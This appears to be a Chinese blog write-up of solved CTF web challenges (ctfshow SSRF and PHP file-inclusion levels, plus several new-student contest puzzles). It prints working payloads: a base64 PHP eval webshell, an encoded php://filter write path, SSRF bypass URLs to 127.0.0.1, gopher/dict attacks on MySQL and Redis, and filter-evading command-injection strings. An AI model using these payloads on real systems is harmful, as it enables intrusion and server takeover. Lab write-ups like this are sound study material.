1,web357
首先从代码看,if判断了scheme字段的值是否有http或者https,如果有就执行大括号里面的代码
使用 gethostbyname 函数,获取给定域名或主机名对应的 IPv4 地址
if判断⾥的: FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (⽐如 192.168.0.1) FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和IPV6 值。
file_get_contents 函数获取用户提交的 URL 内容,并输出到浏览器。
通过前面的查阅,可以知道要满足有http,是私域地址,要求值不在保留范围内
到这一步我想到了就是有没有一种访问别人ip是访问自己IP的东西,问了ai发现反向代理可以,DNS重新绑定也可以
到这里看了一下wp,因为绑定127.0.0.1,只后发现不行,还是直接显示127.0.0.1这个被禁止的IP。
看了一下发现是通过DNS重绑定漏洞获取flag的
简单来说就是:当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。
然后我们通过CEYE - Monitor service for security testing ,注册一个自己的账号,使用它分配的域名,绑定两个ip,通过重绑定获取flag
"r" 代表 "redirect"(重定向)
还有一种方法,通过vps虚拟专用服务器,在上面写上
<?php
header("Location: http://127.0.0.1/flag.php");
?>
#header 函数,用于发送原始 HTTP 头部到客户端。
#Location http响应头
进行访问,让浏览器重定向到http://127.0.0.1/flag.php
2,web358
这里面最重要的就是if(preg_match('/^http:\/\/ctf\..*show$/i', $url))
使用 preg_match 函数检查 $url 是否符合特定的正则表达式模式。
简单来说就是开头要是http://ctf. 结尾要是show
后面的show可以通过#或者?号绕过
在 URL 中,#号标志着查询字符串的结束,之后的内容不会被发送到服务器。
http://ctf.@127.0.0.1/flag.php#show
在前面加上@符号,会被认为前面是账号或密码,后面才是地址
3,web359
访问是一个页面,登录之后什么都没有
看了一下题目发现是无密码mysql
这种我也没做过,应该是通过写入一句话木马进行连接,然后获取flag
虽然没密码但我也没账号啊,这时候我想到了可能是通过请求方法写入
使用了OPTIONS请求方法,查看了服务器支持提交哪些请求方法。在这之前我还搜索了无密码mysql的利用工具。
有put,从客户端向服务器传送的数据取代指定的文档的内容,即指定上传资源存放路径。
想了一下发现不行
看了一下wp
是通过Gopherus工具构造gopher协议数据流,传入一句话。
生成好了之后,要对它再次进行编码,因为浏览器也会解码一次
这里有个传入点
传入刚刚生成的一句话就可以了
4,web360
cURl去获取$url指定的页面内容,curl_setopt 函数设置 cURL 选项,curl_exec 函数执行 cURL 会话。
在搜索ssrf利用协议发现了dict协议,可以利用一下
前面有提示打redis,redis默认端口是6379,先用dict探测一下
是开放的,那么就可以通过dict写入shell
5,web79
和上一关差不多过滤了php,使用data和php短标签
6,web80
过滤了data和php,data不能⼤⼩写绕过,使用日志文件包含
然后将一句话写入ua头
7,web81
多过滤了一个:号,远程文件包含和大小写绕过不行了,只能用日志包含
还是和上一关一样,用ua头
8,web87
将如果file出现phpdata:.就会替换成???,
urldecode对file进行解码,最后面加上$content
file_put_contents 函数创建或修改由 $file 变量指定的文件,并写入固定的 PHP 代码 "<?php die('大佬别秀了');?>" 加上 $content 变量的内容。
看到这里直接试试通过编码写入东西
die函数需要绕过,避免程序终止。
使用base64绕过
因为base64解密为4字节为一组,并且base64编码中只包含64个可打印字符。其他的字符都将被忽略掉,故 <?php die()> 会变成 phpdie,因此需在加两个字节变成8个字节
使用php伪协议将base64的一句话写入文件,然后连接或者命令执行
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%61%25%36%39%25%37%35%25%37%61%25%36%38%25%36%35%25%36%65%25%32%65%25%37%30%25%36%38%25%37%30
aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
jiuzhen.php
9,web88
file包含禁止的符号,就会执行die解释
include 函数会将指定文件的内容复制到当前位置,并且执行该文件中的代码。
这里没有过滤data协议,也没有过滤分号,可以使用data先传入一句话
data://text/plain; base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg
一句话要用base64加密,后面的==可以删除,没有影响,只是一个标志
10,web166
访问之后发现是一个视频,用f12看了看也,没什么有用的东西,就将视频下载下来了,用随波逐流看了一下发现有一个隐藏文件
第一次用的Binwalk文件提取 第二次用的Foremost文件提取
Binwalk是Linux下用来分析和分离文件的工具,可以快速分辨文件是否由多个文件合并而成,并将文件进行分离。如果分离成功会在目标文件的目录。有压缩包自动解压
foremost,将目标文件复制到 kali 中,成功执行后,会在目标文件的文件目录下生成我们设置的目录,目录中会按文件类型分离出文件。有压缩包不会自动解压
分离之后有一个图片和一个MP3(打不开)
从代码里也没什么发现,过滤了一些东西,直接进行包含试试,发现通过f12不行,用了bp
data://协议 通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行
php://input协议 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当表单 enctype=multipart/form-data 时,php://input将会无效
看了一下只能通过直接包含,写入不了一句话了
11,web117
禁用了input和data
和上面的web87有点像
通过?file=php://filter/写入文件
查看发现不行,进行了换位,通过反向操作构造
?<hp pvela$(G_TE'['a)] ;>?
12,[SWPUCTF 2022 新生赛]webdog1__start
变量等于md5的变量
在php中0e会被当做科学计数法,就算后面有字母,其结果也是0
看了源码没有什么东西,f12看一下网络
发现了这个
没什么有用信息继续查看网络
上面的代码,第一个if不能包含空格,之后不能有flag(不区分大小)否则替换成空格,长度也不能大于18个字符
也可以使用system('nl%09/*');
nl:是一个命令行工具,用于对文件进行行号标记,通常用于显示文件内容时附加行号。
13,[FSCTF 2023]细狗2.0
前面要有一个分号,过滤了空格,flag,cat
1;tac${IFS}/fl\ag,也可以使用fl*
14,[FSCTF 2023]EZ_eval
里面最主要的是?>闭合了,后面的代码不会当成php执行,
通过js代码中的language来指定代码类型,将其解析成php代码执行
<script%09language=%27php%27>system(%27c\a\t%09/f*%27);</script>
15,[SWPUCTF 2024 秋季新生赛]未选择的路
通过闭合可以绕过#cmd和inject
标签:文件,32%,36%,37%,25%,ctfshow,php From: https://blog.csdn.net/2401_87493916/article/details/144241091